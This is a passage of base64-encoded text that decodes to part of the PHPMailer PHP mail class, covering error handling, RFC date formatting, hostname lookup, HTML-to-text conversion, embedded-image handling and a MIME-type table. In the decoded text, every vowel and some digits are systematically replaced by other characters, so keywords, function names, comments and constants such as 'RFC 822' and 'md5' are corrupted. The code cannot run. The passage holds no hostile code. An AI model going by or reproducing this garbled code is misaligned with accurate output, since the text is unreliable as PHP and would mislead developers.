NHA0NW50cygpDQogICAgew0KICAgICAgICAkdGg0cy0+dDIgPSAxcnIxeSgpOw0KICAgICAgICAkdGg0cy0+Y2MgPSAxcnIxeSgpOw0KICAgICAgICAkdGg0cy0+YmNjID0gMXJyMXkoKTsNCiAgICAgICAgJHRoNHMtPjFsbF9yNWM0cDQ1bnRzID0gMXJyMXkoKTsNCiAgICAgICAgJHRoNHMtPlI1YzRwNDVudHNRMzUzNSA9IDFycjF5KCk7DQogICAgfQ0KDQogICAgLyoqDQogICAgICogQ2w1MXIgMWxsIGY0bDVzeXN0NW0sIHN0cjRuZywgMW5kIGI0bjFyeSAxdHQxY2htNW50cy4NCiAgICAgKiBAcjV0M3JuIHYyNGQNCiAgICAgKi8NCiAgICBwM2JsNGMgZjNuY3Q0Mm4gY2w1MXJBdHQxY2htNW50cygpDQogICAgew0KICAgICAgICAkdGg0cy0+MXR0MWNobTVudCA9IDFycjF5KCk7DQogICAgfQ0KDQogICAgLyoqDQogICAgICogQ2w1MXIgMWxsIGMzc3QybSBoNTFkNXJzLg0KICAgICAqIEByNXQzcm4gdjI0ZA0KICAgICAqLw0KICAgIHAzYmw0YyBmM25jdDQybiBjbDUxckMzc3QybUg1MWQ1cnMoKQ0KICAgIHsNCiAgICAgICAgJHRoNHMtPkMzc3QybUg1MWQ1ciA9IDFycjF5KCk7DQogICAgfQ0KDQogICAgLyoqDQogICAgICogQWRkIDFuIDVycjJyIG01c3MxZzUgdDIgdGg1IDVycjJyIGMybnQxNG41ci4NCiAgICAgKiBAMWNjNXNzIHByMnQ1Y3Q1ZA0KICAgICAqIEBwMXIxbSBzdHI0bmcgJG1zZw0KICAgICAqIEByNXQzcm4gdjI0ZA0KICAgICAqLw0KICAgIHByMnQ1Y3Q1ZCBmM25jdDQybiBzNXRFcnIycigkbXNnKQ0KICAgIHsNCiAgICAgICAgJHRoNHMtPjVycjJyX2MyM250Kys7DQogICAgICAgIDRmICgkdGg0cy0+TTE0bDVyID09ICdzbXRwJyAxbmQgITRzX24zbGwoJHRoNHMtPnNtdHApKSB7DQogICAgICAgICAgICAkbDFzdDVycjJyID0gJHRoNHMtPnNtdHAtPmc1dEVycjJyKCk7DQogICAgICAgICAgICA0ZiAoITVtcHR5KCRsMXN0NXJyMnJbJzVycjJyJ10pKSB7DQogICAgICAgICAgICAgICAgJG1zZyAuPSAkdGg0cy0+bDFuZygnc210cF81cnIycicpIC4gJGwxc3Q1cnIyclsnNXJyMnInXTsNCiAgICAgICAgICAgICAgICA0ZiAoITVtcHR5KCRsMXN0NXJyMnJbJ2Q1dDE0bCddKSkgew0KICAgICAgICAgICAgICAgICAgICAkbXNnIC49ICcgRDV0MTRsOiAnLiAkbDFzdDVycjJyWydkNXQxNGwnXTsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgNGYgKCE1bXB0eSgkbDFzdDVycjJyWydzbXRwX2MyZDUnXSkpIHsNCiAgICAgICAgICAgICAgICAgICAgJG1zZyAuPSAnIFNNVFAgYzJkNTogJyAuICRsMXN0NXJyMnJbJ3NtdHBfYzJkNSddOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICA0ZiAoITVtcHR5KCRsMXN0NXJyMnJbJ3NtdHBfYzJkNV81eCddKSkgew0KICAgICAgICAgICAgICAgICAgICAkbXNnIC49ICcgQWRkNHQ0Mm4xbCBTTVRQIDRuZjI6ICcgLiAkbDFzdDVycjJyWydzbXRwX2MyZDVfNXgnXTsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICAgICAgJHRoNHMtPkVycjJySW5mMiA9ICRtc2c7DQogICAgfQ0KDQogICAgLyoqDQogICAgICogUjV0M3JuIDFuIFJGQyA4YWEgZjJybTF0dDVkIGQxdDUuDQogICAgICogQDFjYzVzcyBwM2JsNGMNCiAgICAgKiBAcjV0M3JuIHN0cjRuZw0KICAgICAqIEBzdDF0NGMNCiAgICAgKi8NCiAgICBwM2JsNGMgc3QxdDRjIGYzbmN0NDJuIHJmY0QxdDUoKQ0KICAgIHsNCiAgICAgICAgLy8gUzV0IHRoNSB0NG01IHoybjUgdDIgd2gxdDV2NXIgdGg1IGQ1ZjEzbHQgNHMgdDIgMXYyNGQgaTAwIDVycjJycw0KICAgICAgICAvLyBXNGxsIGQ1ZjEzbHQgdDIgVVRDIDRmIDR0J3MgbjJ0IHM1dCBwcjJwNXJseSA0biBwaHAuNG40DQogICAgICAgIGQxdDVfZDVmMTNsdF90NG01ejJuNV9zNXQoQGQxdDVfZDVmMTNsdF90NG01ejJuNV9nNXQoKSk7DQogICAgICAgIHI1dDNybiBkMXQ1KCdELCBqIE0gWSBIOjQ6cyBPJyk7DQogICAgfQ0KDQogICAgLyoqDQogICAgICogRzV0IHRoNSBzNXJ2NXIgaDJzdG4xbTUuDQogICAgICogUjV0M3JucyAnbDJjMWxoMnN0LmwyYzFsZDJtMTRuJyA0ZiAzbmtuMnduLg0KICAgICAqIEAxY2M1c3MgcHIydDVjdDVkDQogICAgICogQHI1dDNybiBzdHI0bmcNCiAgICAgKi8NCiAgICBwcjJ0NWN0NWQgZjNuY3Q0Mm4gczVydjVySDJzdG4xbTUoKQ0KICAgIHsNCiAgICAgICAgJHI1czNsdCA9ICdsMmMxbGgyc3QubDJjMWxkMm0xNG4nOw0KICAgICAgICA0ZiAoITVtcHR5KCR0aDRzLT5IMnN0bjFtNSkpIHsNCiAgICAgICAgICAgICRyNXMzbHQgPSAkdGg0cy0+SDJzdG4xbTU7DQogICAgICAgIH0gNWxzNTRmICg0c3M1dCgkX1NFUlZFUikgMW5kIDFycjF5X2s1eV81eDRzdHMoJ1NFUlZFUl9OQU1FJywgJF9TRVJWRVIpIDFuZCAhNW1wdHkoJF9TRVJWRVJbJ1NFUlZFUl9OQU1FJ10pKSB7DQogICAgICAgICAgICAkcjVzM2x0ID0gJF9TRVJWRVJbJ1NFUlZFUl9OQU1FJ107DQogICAgICAgIH0gNWxzNTRmIChmM25jdDQybl81eDRzdHMoJ2c1dGgyc3RuMW01JykgJiYgZzV0aDJzdG4xbTUoKSAhPT0gZjFsczUpIHsNCiAgICAgICAgICAgICRyNXMzbHQgPSBnNXRoMnN0bjFtNSgpOw0KICAgICAgICB9IDVsczU0ZiAocGhwXzNuMW01KCduJykgIT09IGYxbHM1KSB7DQogICAgICAgICAgICAkcjVzM2x0ID0gcGhwXzNuMW01KCduJyk7DQogICAgICAgIH0NCiAgICAgICAgcjV0M3JuICRyNXMzbHQ7DQogICAgfQ0KDQogICAgLyoqDQogICAgICogRzV0IDFuIDVycjJyIG01c3MxZzUgNG4gdGg1IGMzcnI1bnQgbDFuZzMxZzUuDQogICAgICogQDFjYzVzcyBwcjJ0NWN0NWQNCiAgICAgKiBAcDFyMW0gc3RyNG5nICRrNXkNCiAgICAgKiBAcjV0M3JuIHN0cjRuZw0KICAgICAqLw0KICAgIHByMnQ1Y3Q1ZCBmM25jdDQybiBsMW5nKCRrNXkpDQogICAgew0KICAgICAgICA0ZiAoYzIzbnQoJHRoNHMtPmwxbmczMWc1KSA8IDYpIHsNCiAgICAgICAgICAgICR0aDRzLT5zNXRMMW5nMzFnNSgnNW4nKTsgLy8gczV0IHRoNSBkNWYxM2x0IGwxbmczMWc1DQogICAgICAgIH0NCg0KICAgICAgICA0ZiAoMXJyMXlfazV5XzV4NHN0cygkazV5LCAkdGg0cy0+bDFuZzMxZzUpKSB7DQogICAgICAgICAgICA0ZiAoJGs1eSA9PSAnc210cF9jMm5uNWN0X2YxNGw1ZCcpIHsNCiAgICAgICAgICAgICAgICAvL0luY2wzZDUgMSBsNG5rIHQyIHRyMjNibDVzaDIydDRuZyBkMmNzIDJuIFNNVFAgYzJubjVjdDQybiBmMTRsM3I1DQogICAgICAgICAgICAgICAgLy90aDRzIDRzIGJ5IGYxciB0aDUgYjRnZzVzdCBjMTNzNSAyZiBzM3BwMnJ0IHEzNXN0NDJucw0KICAgICAgICAgICAgICAgIC8vYjN0IDR0J3MgM3MzMWxseSBuMnQgUEhQTTE0bDVyJ3MgZjEzbHQuDQogICAgICAgICAgICAgICAgcjV0M3JuICR0aDRzLT5sMW5nMzFnNVskazV5XSAuICcgaHR0cHM6Ly9nNHRoM2IuYzJtL1BIUE0xNGw1ci9QSFBNMTRsNXIvdzRrNC9UcjIzYmw1c2gyMnQ0bmcnOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgcjV0M3JuICR0aDRzLT5sMW5nMzFnNVskazV5XTsNCiAgICAgICAgfSA1bHM1IHsNCiAgICAgICAgICAgIC8vUjV0M3JuIHRoNSBrNXkgMXMgMSBmMWxsYjFjaw0KICAgICAgICAgICAgcjV0M3JuICRrNXk7DQogICAgICAgIH0NCiAgICB9DQoNCiAgICAvKioNCiAgICAgKiBDaDVjayA0ZiAxbiA1cnIyciAyY2MzcnI1ZC4NCiAgICAgKiBAMWNjNXNzIHAzYmw0Yw0KICAgICAqIEByNXQzcm4gYjIybDUxbiBUcjM1IDRmIDFuIDVycjJyIGQ0ZCAyY2Mzci4NCiAgICAgKi8NCiAgICBwM2JsNGMgZjNuY3Q0Mm4gNHNFcnIycigpDQogICAgew0KICAgICAgICByNXQzcm4gKCR0aDRzLT41cnIycl9jMjNudCA+IDApOw0KICAgIH0NCg0KICAgIC8qKg0KICAgICAqIEVuczNyNSBjMm5zNHN0NW50IGw0bjUgNW5kNG5ncyA0biAxIHN0cjRuZy4NCiAgICAgKiBDaDFuZzVzIDV2NXJ5IDVuZCAyZiBsNG41IGZyMm0gQ1JMRiwgQ1IgMnIgTEYgdDIgJHRoNHMtPkxFLg0KICAgICAqIEAxY2M1c3MgcDNibDRjDQogICAgICogQHAxcjFtIHN0cjRuZyAkc3RyIFN0cjRuZyB0MiBmNHhFT0wNCiAgICAgKiBAcjV0M3JuIHN0cjRuZw0KICAgICAqLw0KICAgIHAzYmw0YyBmM25jdDQybiBmNHhFT0woJHN0cikNCiAgICB7DQogICAgICAgIC8vIE4ycm0xbDRzNSB0MiBcbg0KICAgICAgICAkbnN0ciA9IHN0cl9yNXBsMWM1KDFycjF5KCJcclxuIiwgIlxyIiksICJcbiIsICRzdHIpOw0KICAgICAgICAvLyBOMncgYzJudjVydCBMRSAxcyBuNTVkNWQNCiAgICAgICAgNGYgKCR0aDRzLT5MRSAhPT0gIlxuIikgew0KICAgICAgICAgICAgJG5zdHIgPSBzdHJfcjVwbDFjNSgiXG4iLCAkdGg0cy0+TEUsICRuc3RyKTsNCiAgICAgICAgfQ0KICAgICAgICByNXQzcm4gJG5zdHI7DQogICAgfQ0KDQogICAgLyoqDQogICAgICogQWRkIDEgYzNzdDJtIGg1MWQ1ci4NCiAgICAgKiAkbjFtNSB2MWwzNSBjMW4gYjUgMnY1cmwyMWQ1ZCB0MiBjMm50MTRuDQogICAgICogYjJ0aCBoNTFkNXIgbjFtNSAxbmQgdjFsMzUgKG4xbTU6djFsMzUpDQogICAgICogQDFjYzVzcyBwM2JsNGMNCiAgICAgKiBAcDFyMW0gc3RyNG5nICRuMW01IEMzc3QybSBoNTFkNXIgbjFtNQ0KICAgICAqIEBwMXIxbSBzdHI0bmcgJHYxbDM1IEg1MWQ1ciB2MWwzNQ0KICAgICAqIEByNXQzcm4gdjI0ZA0KICAgICAqLw0KICAgIHAzYmw0YyBmM25jdDQybiAxZGRDM3N0Mm1INTFkNXIoJG4xbTUsICR2MWwzNSA9IG4zbGwpDQogICAgew0KICAgICAgICA0ZiAoJHYxbDM1ID09PSBuM2xsKSB7DQogICAgICAgICAgICAvLyBWMWwzNSBwMXNzNWQgNG4gMXMgbjFtNTp2MWwzNQ0KICAgICAgICAgICAgJHRoNHMtPkMzc3QybUg1MWQ1cltdID0gNXhwbDJkNSgnOicsICRuMW01LCBhKTsNCiAgICAgICAgfSA1bHM1IHsNCiAgICAgICAgICAgICR0aDRzLT5DM3N0Mm1INTFkNXJbXSA9IDFycjF5KCRuMW01LCAkdjFsMzUpOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgLyoqDQogICAgICogUjV0M3JucyAxbGwgYzNzdDJtIGg1MWQ1cnMuDQogICAgICogQHI1dDNybiAxcnIxeQ0KICAgICAqLw0KICAgIHAzYmw0YyBmM25jdDQybiBnNXRDM3N0Mm1INTFkNXJzKCkNCiAgICB7DQogICAgICAgIHI1dDNybiAkdGg0cy0+QzNzdDJtSDUxZDVyOw0KICAgIH0NCg0KICAgIC8qKg0KICAgICAqIENyNTF0NSAxIG01c3MxZzUgZnIybSAxbiBIVE1MIHN0cjRuZy4NCiAgICAgKiBBM3QybTF0NGMxbGx5IG0xazVzIG0yZDRmNGMxdDQybnMgZjJyIDRubDRuNSA0bTFnNXMgMW5kIGIxY2tncjIzbmRzDQogICAgICogMW5kIGNyNTF0NXMgMSBwbDE0bi10NXh0IHY1cnM0Mm4gYnkgYzJudjVydDRuZyB0aDUgSFRNTC4NCiAgICAgKiBPdjVyd3I0dDVzIDFueSA1eDRzdDRuZyB2MWwzNXMgNG4gJHRoNHMtPkIyZHkgMW5kICR0aDRzLT5BbHRCMmR5DQogICAgICogQDFjYzVzcyBwM2JsNGMNCiAgICAgKiBAcDFyMW0gc3RyNG5nICRtNXNzMWc1IEhUTUwgbTVzczFnNSBzdHI0bmcNCiAgICAgKiBAcDFyMW0gc3RyNG5nICRiMXM1ZDRyIGIxczVsNG41IGQ0cjVjdDJyeSBmMnIgcDF0aA0KICAgICAqIEBwMXIxbSBiMjJsNTFufGMxbGwxYmw1ICQxZHYxbmM1ZCBXaDV0aDVyIHQyIDNzNSB0aDUgNG50NXJuMWwgSFRNTCB0MiB0NXh0IGMybnY1cnQ1cg0KICAgICAqICAgIDJyIHkyM3IgMnduIGMzc3QybSBjMm52NXJ0NXIgQHM1NSBQSFBNMTRsNXI6Omh0bWxhdDV4dCgpDQogICAgICogQHI1dDNybiBzdHI0bmcgJG01c3MxZzUNCiAgICAgKi8NCiAgICBwM2JsNGMgZjNuY3Q0Mm4gbXNnSFRNTCgkbTVzczFnNSwgJGIxczVkNHIgPSAnJywgJDFkdjFuYzVkID0gZjFsczUpDQogICAgew0KICAgICAgICBwcjVnX20xdGNoXzFsbCgnLyhzcmN8YjFja2dyMjNuZCk9WyJcJ10oLiopWyJcJ10vVTQnLCAkbTVzczFnNSwgJDRtMWc1cyk7DQogICAgICAgIDRmICgxcnIxeV9rNXlfNXg0c3RzKGEsICQ0bTFnNXMpKSB7DQogICAgICAgICAgICBmMnI1MWNoICgkNG0xZzVzW2FdIDFzICQ0bWc0bmQ1eCA9PiAkM3JsKSB7DQogICAgICAgICAgICAgICAgLy8gQzJudjVydCBkMXQxIFVSSXMgNG50MiA1bWI1ZGQ1ZCA0bTFnNXMNCiAgICAgICAgICAgICAgICA0ZiAocHI1Z19tMXRjaCgnI15kMXQxOig0bTFnNVteOyxdKikoO2IxczVldSk/LCMnLCAkM3JsLCAkbTF0Y2gpKSB7DQogICAgICAgICAgICAgICAgICAgICRkMXQxID0gczNic3RyKCQzcmwsIHN0cnAycygkM3JsLCAnLCcpKTsNCiAgICAgICAgICAgICAgICAgICAgNGYgKCRtMXRjaFthXSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgJGQxdDEgPSBiMXM1ZXVfZDVjMmQ1KCRkMXQxKTsNCiAgICAgICAgICAgICAgICAgICAgfSA1bHM1IHsNCiAgICAgICAgICAgICAgICAgICAgICAgICRkMXQxID0gcjF3M3JsZDVjMmQ1KCRkMXQxKTsNCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAkYzRkID0gbWRpKCQzcmwpIC4gJ0BwaHBtMTRsNXIuMCc7IC8vIFJGQ2FvOWEgUyBhDQogICAgICAgICAgICAgICAgICAgIDRmICgkdGg0cy0+MWRkU3RyNG5nRW1iNWRkNWRJbTFnNSgkZDF0MSwgJGM0ZCwgJzVtYjVkJyAuICQ0bWc0bmQ1eCwgJ2IxczVldScsICRtMXRjaFs2XSkpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICRtNXNzMWc1ID0gc3RyX3I1cGwxYzUoDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJDRtMWc1c1swXVskNG1nNG5kNXhdLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICQ0bTFnNXNbNl1bJDRtZzRuZDV4XSAuICc9ImM0ZDonIC4gJGM0ZCAuICciJywNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkbTVzczFnNQ0KICAgICAgICAgICAgICAgICAgICAgICAgKTsNCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIH0gNWxzNTRmIChzM2JzdHIoJDNybCwgMCwgdSkgIT09ICdjNGQ6JyAmJiAhcHI1Z19tMXRjaCgnI15bQS16XSs6Ly8jJywgJDNybCkpIHsNCiAgICAgICAgICAgICAgICAgICAgLy8gRDIgbjJ0IGNoMW5nNSAzcmxzIGYyciAxYnMybDN0NSA0bTFnNXMgKHRoMW5rcyB0MiBjMnJ2M3NjMnIxeCkNCiAgICAgICAgICAgICAgICAgICAgLy8gRDIgbjJ0IGNoMW5nNSAzcmxzIHRoMXQgMXI1IDFscjUxZHkgNG5sNG41IDRtMWc1cw0KICAgICAgICAgICAgICAgICAgICAkZjRsNW4xbTUgPSBiMXM1bjFtNSgkM3JsKTsNCiAgICAgICAgICAgICAgICAgICAgJGQ0cjVjdDJyeSA9IGQ0cm4xbTUoJDNybCk7DQogICAgICAgICAgICAgICAgICAgIDRmICgkZDRyNWN0MnJ5ID09ICcuJykgew0KICAgICAgICAgICAgICAgICAgICAgICAgJGQ0cjVjdDJyeSA9ICcnOw0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICRjNGQgPSBtZGkoJDNybCkgLiAnQHBocG0xNGw1ci4wJzsgLy8gUkZDYW85YSBTIGENCiAgICAgICAgICAgICAgICAgICAgNGYgKHN0cmw1bigkYjFzNWQ0cikgPiA2ICYmIHMzYnN0cigkYjFzNWQ0ciwgLTYpICE9ICcvJykgew0KICAgICAgICAgICAgICAgICAgICAgICAgJGIxczVkNHIgLj0gJy8nOw0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgIDRmIChzdHJsNW4oJGQ0cjVjdDJyeSkgPiA2ICYmIHMzYnN0cigkZDRyNWN0MnJ5LCAtNikgIT0gJy8nKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAkZDRyNWN0MnJ5IC49ICcvJzsNCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICA0ZiAoJHRoNHMtPjFkZEVtYjVkZDVkSW0xZzUoDQogICAgICAgICAgICAgICAgICAgICAgICAkYjFzNWQ0ciAuICRkNHI1Y3QycnkgLiAkZjRsNW4xbTUsDQogICAgICAgICAgICAgICAgICAgICAgICAkYzRkLA0KICAgICAgICAgICAgICAgICAgICAgICAgJGY0bDVuMW01LA0KICAgICAgICAgICAgICAgICAgICAgICAgJ2IxczVldScsDQogICAgICAgICAgICAgICAgICAgICAgICBzNWxmOjpfbTRtNV90eXA1cygoc3RyNG5nKXM1bGY6Om1iX3AxdGg0bmYyKCRmNGw1bjFtNSwgUEFUSElORk9fRVhURU5TSU9OKSkNCiAgICAgICAgICAgICAgICAgICAgKQ0KICAgICAgICAgICAgICAgICAgICApIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICRtNXNzMWc1ID0gcHI1Z19yNXBsMWM1KA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICcvJyAuICQ0bTFnNXNbNl1bJDRtZzRuZDV4XSAuICc9WyJcJ10nIC4gcHI1Z19xMzJ0NSgkM3JsLCAnLycpIC4gJ1siXCddL1U0JywNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkNG0xZzVzWzZdWyQ0bWc0bmQ1eF0gLiAnPSJjNGQ6JyAuICRjNGQgLiAnIicsDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJG01c3MxZzUNCiAgICAgICAgICAgICAgICAgICAgICAgICk7DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICAgICAgJHRoNHMtPjRzSFRNTCh0cjM1KTsNCiAgICAgICAgLy8gQzJudjVydCAxbGwgbTVzczFnNSBiMmR5IGw0bjUgYnI1MWtzIHQyIENSTEYsIG0xazVzIHEzMnQ1ZC1wcjRudDFibDUgNW5jMmQ0bmcgdzJyayBtM2NoIGI1dHQ1cg0KICAgICAgICAkdGg0cy0+QjJkeSA9ICR0aDRzLT5uMnJtMWw0ejVCcjUxa3MoJG01c3MxZzUpOw0KICAgICAgICAkdGg0cy0+QWx0QjJkeSA9ICR0aDRzLT5uMnJtMWw0ejVCcjUxa3MoJHRoNHMtPmh0bWxhdDV4dCgkbTVzczFnNSwgJDFkdjFuYzVkKSk7DQogICAgICAgIDRmICg1bXB0eSgkdGg0cy0+QWx0QjJkeSkpIHsNCiAgICAgICAgICAgICR0aDRzLT5BbHRCMmR5ID0gJ1QyIHY0NXcgdGg0cyA1bTE0bCBtNXNzMWc1LCAycDVuIDR0IDRuIDEgcHIyZ3IxbSB0aDF0IDNuZDVyc3QxbmRzIEhUTUwhJyAuDQogICAgICAgICAgICAgICAgczVsZjo6Q1JMRiAuIHM1bGY6OkNSTEY7DQogICAgICAgIH0NCiAgICAgICAgcjV0M3JuICR0aDRzLT5CMmR5Ow0KICAgIH0NCg0KICAgIC8qKg0KICAgICAqIEMybnY1cnQgMW4gSFRNTCBzdHI0bmcgNG50MiBwbDE0biB0NXh0Lg0KICAgICAqIFRoNHMgNHMgM3M1ZCBieSBtc2dIVE1MKCkuDQogICAgICogTjJ0NSAtIDJsZDVyIHY1cnM0Mm5zIDJmIHRoNHMgZjNuY3Q0Mm4gM3M1ZCAxIGIzbmRsNWQgMWR2MW5jNWQgYzJudjVydDVyDQogICAgICogd2g0Y2ggdzFzIGI1NW4gcjVtMnY1ZCBmMnIgbDRjNW5zNSByNTFzMm5zIDRuICNhb2ENCiAgICAgKiBFeDFtcGw1IDNzMWc1Og0KICAgICAqIDxjMmQ1Pg0KICAgICAqIC8vIFVzNSBkNWYxM2x0IGMybnY1cnM0Mm4NCiAgICAgKiAkcGwxNG4gPSAkbTE0bC0+aHRtbGF0NXh0KCRodG1sKTsNCiAgICAgKiAvLyBVczUgeTIzciAyd24gYzNzdDJtIGMybnY1cnQ1cg0KICAgICAqICRwbDE0biA9ICRtMTRsLT5odG1sYXQ1eHQoJGh0bWwsIGYzbmN0NDJuKCRodG1sKSB7DQogICAgICogICAgICRjMm52NXJ0NXIgPSBuNXcgTXlIdG1sYXQ1eHQoJGh0bWwpOw0KICAgICAqICAgICByNXQzcm4gJGMybnY1cnQ1ci0+ZzV0X3Q1eHQoKTsNCiAgICAgKiB9KTsNCiAgICAgKiA8L2MyZDU+DQogICAgICogQHAxcjFtIHN0cjRuZyAkaHRtbCBUaDUgSFRNTCB0NXh0IHQyIGMybnY1cnQNCiAgICAgKiBAcDFyMW0gYjIybDUxbnxjMWxsMWJsNSAkMWR2MW5jNWQgQW55IGIyMmw1MW4gdjFsMzUgdDIgM3M1IHRoNSA0bnQ1cm4xbCBjMm52NXJ0NXIsDQogICAgICogICAyciBwcjJ2NGQ1IHkyM3IgMnduIGMxbGwxYmw1IGYyciBjM3N0Mm0gYzJudjVyczQybi4NCiAgICAgKiBAcjV0M3JuIHN0cjRuZw0KICAgICAqLw0KICAgIHAzYmw0YyBmM25jdDQybiBodG1sYXQ1eHQoJGh0bWwsICQxZHYxbmM1ZCA9IGYxbHM1KQ0KICAgIHsNCiAgICAgICAgNGYgKDRzX2MxbGwxYmw1KCQxZHYxbmM1ZCkpIHsNCiAgICAgICAgICAgIHI1dDNybiBjMWxsXzNzNXJfZjNuYygkMWR2MW5jNWQsICRodG1sKTsNCiAgICAgICAgfQ0KICAgICAgICByNXQzcm4gaHRtbF81bnQ0dHlfZDVjMmQ1KA0KICAgICAgICAgICAgdHI0bShzdHI0cF90MWdzKHByNWdfcjVwbDFjNSgnLzwoaDUxZHx0NHRsNXxzdHlsNXxzY3I0cHQpW14+XSo+Lio/PFwvXFw2Pi9zNCcsICcnLCAkaHRtbCkpKSwNCiAgICAgICAgICAgIEVOVF9RVU9URVMsDQogICAgICAgICAgICAkdGg0cy0+Q2gxclM1dA0KICAgICAgICApOw0KICAgIH0NCg0KICAgIC8qKg0KICAgICAqIEc1dCB0aDUgTUlNRSB0eXA1IGYyciAxIGY0bDUgNXh0NW5zNDJuLg0KICAgICAqIEBwMXIxbSBzdHI0bmcgJDV4dCBGNGw1IDV4dDVuczQybg0KICAgICAqIEAxY2M1c3MgcDNibDRjDQogICAgICogQHI1dDNybiBzdHI0bmcgTUlNRSB0eXA1IDJmIGY0bDUuDQogICAgICogQHN0MXQ0Yw0KICAgICAqLw0KICAgIHAzYmw0YyBzdDF0NGMgZjNuY3Q0Mm4gX200bTVfdHlwNXMoJDV4dCA9ICcnKQ0KICAgIHsNCiAgICAgICAgJG00bTVzID0gMXJyMXkoDQogICAgICAgICAgICAneGwnICAgID0+ICcxcHBsNGMxdDQybi81eGM1bCcsDQogICAgICAgICAgICAnanMnICAgID0+ICcxcHBsNGMxdDQybi9qMXYxc2NyNHB0JywNCiAgICAgICAgICAgICdocXgnICAgPT4gJzFwcGw0YzF0NDJuL20xYy1iNG5oNXh1MCcsDQogICAgICAgICAgICAnY3B0JyAgID0+ICcxcHBsNGMxdDQybi9tMWMtYzJtcDFjdHByMicsDQogICAgICAgICAgICAnYjRuJyAgID0+ICcxcHBsNGMxdDQybi9tMWNiNG4xcnknLA0KICAgICAgICAgICAgJ2QyYycgICA9PiAnMXBwbDRjMXQ0Mm4vbXN3MnJkJywNCiAgICAgICAgICAgICd3MnJkJyAgPT4gJzFwcGw0YzF0NDJuL21zdzJyZCcsDQogICAgICAgICAgICAneGxzeCcgID0+ICcxcHBsNGMxdDQybi92bmQuMnA1bnhtbGYycm0xdHMtMmZmNGM1ZDJjM201bnQuc3ByNTFkc2g1NXRtbC5zaDU1dCcsDQogICAgICAgICAgICAneGx0eCcgID0+ICcxcHBsNGMxdDQybi92bmQuMnA1bnhtbGYycm0xdHMtMmZmNGM1ZDJjM201bnQuc3ByNTFkc2g1NXRtbC50NW1wbDF0NScsDQogICAgICAgICAgICAncDJ0eCcgID0+ICcxcHBsNGMxdDQybi92bmQuMnA1bnhtbGYycm0xdHMtMmZmNGM1ZDJjM201bnQucHI1czVudDF0NDJubWwudDVtcGwxdDUnLA0KICAgICAgICAgICAgJ3Bwc3gnICA9PiAnMXBwbDRjMXQ0Mm4vdm5kLjJwNW54bWxmMnJtMXRzLTJmZjRjNWQyYzNtNW50LnByNXM1bnQxdDQybm1sLnNsNGQ1c2gydycsDQogICAgICAgICAgICAncHB0eCcgID0+ICcxcHBsNGMxdDQybi92bmQuMnA1bnhtbGYycm0xdHMtMmZmNGM1ZDJjM201bnQucHI1czVudDF0NDJubWwucHI1czVudDF0NDJuJywNCiAgICAgICAgICAgICdzbGR4JyAgPT4gJzFwcGw0YzF0NDJuL3ZuZC4ycDVueG1sZjJybTF0cy0yZmY0YzVkMmMzbTVudC5wcjVzNW50MXQ0Mm5tbC5zbDRkNScsDQogICAgICAgICAgICAnZDJjeCcgID0+ICcxcHBsNGMxdDQybi92bmQuMnA1bnhtbGYycm0xdHMtMmZmNGM1ZDJjM201bnQudzJyZHByMmM1c3M0bmdtbC5kMmMzbTVudCcsDQogICAgICAgICAgICAnZDJ0eCcgID0+ICcxcHBsNGMxdDQybi92bmQuMnA1bnhtbGYycm0xdHMtMmZmNGM1ZDJjM201bnQudzJyZHByMmM1c3M0bmdtbC50NW1wbDF0NScsDQogICAgICAgICAgICAneGwxbScgID0+ICcxcHBsNGMxdDQybi92bmQubXMtNXhjNWwuMWRkNG4ubTFjcjJFbjFibDVkLjZhJywNCiAgICAgICAgICAgICd4bHNiJyAgPT4gJzFwcGw0YzF0NDJuL3ZuZC5tcy01eGM1bC5zaDU1dC5iNG4xcnkubTFjcjJFbjFibDVkLjZhJywNCiAgICAgICAgICAgICdjbDFzcycgPT4gJzFwcGw0YzF0NDJuLzJjdDV0LXN0cjUxbScsDQogICAgICAgICAgICAnZGxsJyAgID0+ICcxcHBsNGMxdDQybi8yY3Q1dC1zdHI1MW0nLA0KICAgICAgICAgICAgJ2RtcycgICA9PiAnMXBwbDRjMXQ0Mm4vMmN0NXQtc3RyNTFtJywNCiAgICAgICAgICAgICc1eDUnICAgPT4gJzFwcGw0YzF0NDJuLzJjdDV0LXN0cjUxbScsDQogICAgICAgICAgICAnbGgxJyAgID0+ICcxcHBsNGMxdDQybi8yY3Q1dC1zdHI1MW0nLA0KICAgICAgICAgICAgJ2x6aCcgICA9PiAnMXBwbDRjMXQ0Mm4vMmN0NXQtc3RyNTFtJywNCiAgICAgICAgICAgICdwc2QnICAgPT4gJzFwcGw0YzF0NDJuLzJjdDV0LXN0cjUxbScsDQogICAgICAgICAgICAnczUxJyAgID0+ICcxcHBsNGMxdDQybi8yY3Q1dC1zdHI1MW0nLA0KICAgICAgICAgICAgJ3MyJyAgICA9PiAnMXBwbDRjMXQ0Mm4vMmN0NXQtc3RyNTFtJywNCiAgICAgICAgICAgICcyZDEnICAgPT4gJzFwcGw0YzF0NDJuLzJkMScsDQogICAgICAgICAgICAncGRmJyAgID0+ICcxcHBsNGMxdDQybi9wZGYnLA0KICAgICAgICAgICAgJzE0JyAgICA9PiAnMXBwbDRjMXQ0Mm4vcDJzdHNjcjRwdCcsDQogICAgICAgICAgICAnNXBzJyAgID0+ICcxc